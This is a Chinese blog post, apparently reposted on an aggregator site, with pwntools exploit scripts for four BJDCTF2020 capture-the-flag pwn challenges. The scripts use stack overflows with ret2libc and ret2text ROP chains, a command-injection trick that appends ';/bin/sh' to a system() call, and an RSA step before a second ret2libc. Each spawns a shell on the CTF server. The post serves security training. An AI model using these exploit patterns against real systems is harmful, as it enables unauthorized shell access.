PWN-PRACTICE-CTFSHOW-4
生活随笔
收集整理的這篇文章主要介紹了
PWN-PRACTICE-CTFSHOW-4
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
PWN-PRACTICE-CTFSHOW-4
- BJDCTF2020-babyrouter
- BJDCTF2020-babystack
- BJDCTF2020-dizzy
- BJDCTF2020-encryptde stack
BJDCTF2020-babyrouter
棧溢出,ret2libc
# -*- coding:utf-8 -*- from pwn import * context.log_level="debug" #io=process("./pwn1") io=remote("pwn.challenge.ctf.show",28034) elf=ELF("./pwn1")puts_got=elf.got["puts"] puts_plt=elf.plt["puts"] main_addr=0x4006AD pop_rdi=0x400733 ret=0x4004c9io.recvuntil("tell me u story!\n") payload="a"*0x20+"b"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr) io.sendline(payload) puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")) print("puts_addr=="+hex(puts_addr)) libc_base=puts_addr-0x06f690 system=libc_base+0x045390 binsh=libc_base+0x18cd57io.recvuntil("tell me u story!\n") payload="a"*0x20+"b"*8+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p64(main_addr) io.sendline(payload)io.interactive()BJDCTF2020-babystack
棧溢出,ret2text
# -*- coding:utf-8 -*- from pwn import * context.log_level="debug" #io=process("./pwn1") io=remote("pwn.challenge.ctf.show",28177) elf=ELF("./pwn1")io.sendlineafter("the length of your name:\n","-1")backdoor=0x4006E6 ret=0x400561 io.recvuntil("u name?\n") payload="a"*0x10+"b"*8+p64(ret)+p64(backdoor) io.sendline(payload)io.interactive()BJDCTF2020-dizzy
利用linux系統命令行多命令執行的特點
Linux 系統可以在一個命令行上執行多個命令:; --如果命令被分號(;)所分隔,那么命令會連續的執行下去,就算是錯誤的命令也會繼續執行后面的命令&& --如果命令被 && 所分隔,那么命令也會一直執行下去,但是中間有錯誤的命令就不會執行后面的命令,沒錯就繼續執行直至命令執行完為止|| --如果命令被雙豎線 || 所分隔,那么一遇到可以執行成功的命令就會停止執行后面的命令,而不管后面的命令是否正確。如果執行到錯誤的命令就是繼續執行后一個命令,直到遇到執行到正確的命令或命令執行完為止構造輸入,使之能在進行加0x1BF52后得到"PvvN| 1S S0 GREAT!;/bin/sh\x00",分號前的命令會失敗,但仍然會執行system("/bin/sh\x00")
# -*- coding:utf-8 -*- from pwn import * context.log_level="debug" #io=process("./pwn1") io=remote("pwn.challenge.ctf.show",28161) elf=ELF("./pwn1")s="PvvN| 1S S0 GREAT!;/bin/sh".ljust(80,"\x00") arr=[] for i in range(0,len(s),4):tmp=hex(ord(s[i+3]))[2:].zfill(2)tmp+= hex(ord(s[i + 2]))[2:].zfill(2)tmp+= hex(ord(s[i + 1]))[2:].zfill(2)tmp+= hex(ord(s[i + 0]))[2:].zfill(2)arr.append(int(tmp,16)) for i in range(len(arr)):arr[i]-=0x1BF52#io.recvuntil("Let's play this!") for i in range(20):io.sendline(str(arr[i]))io.interactive()BJDCTF2020-encryptde stack
程序打印隨機數作為RSA密文,解RSA得到明文,循環20次,然后棧溢出,ret2libc
# -*- coding:utf-8 -*- from pwn import * import libnum context.log_level="debug" #io=process("./pwn1") io=remote("pwn.challenge.ctf.show",28163) elf=ELF("./pwn1")n=94576960329497431 e=65537 p=261571747 q=361571773 phin=(p-1)*(q-1) d=libnum.invmod(e,phin)io.recvuntil("to encrypt it\n") for i in range(20):c=int(io.recvuntil("\n")[:-1])m=pow(c,d,n)io.sendline(str(m))io.recvline()puts_got=elf.got["puts"] puts_plt=elf.plt["puts"] vuln_addr=0x400B30 pop_rdi=0x40095a ret=0x4006e1io.recvuntil("inpu1t you name:\n") payload="a"*0x48+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr) io.sendline(payload) puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00")) print("puts_addr=="+hex(puts_addr)) libc_base=puts_addr-0x06f690 system=libc_base+0x045390 binsh=libc_base+0x18cd57io.recvuntil("inpu1t you name:\n") payload="a"*0x48+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)+p64(vuln_addr) io.sendline(payload)io.interactive()總結
以上是生活随笔為你收集整理的PWN-PRACTICE-CTFSHOW-4的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 浦发银行万用随借金开通方法和开通流程
- 下一篇: PWN-COMPETITION-Geek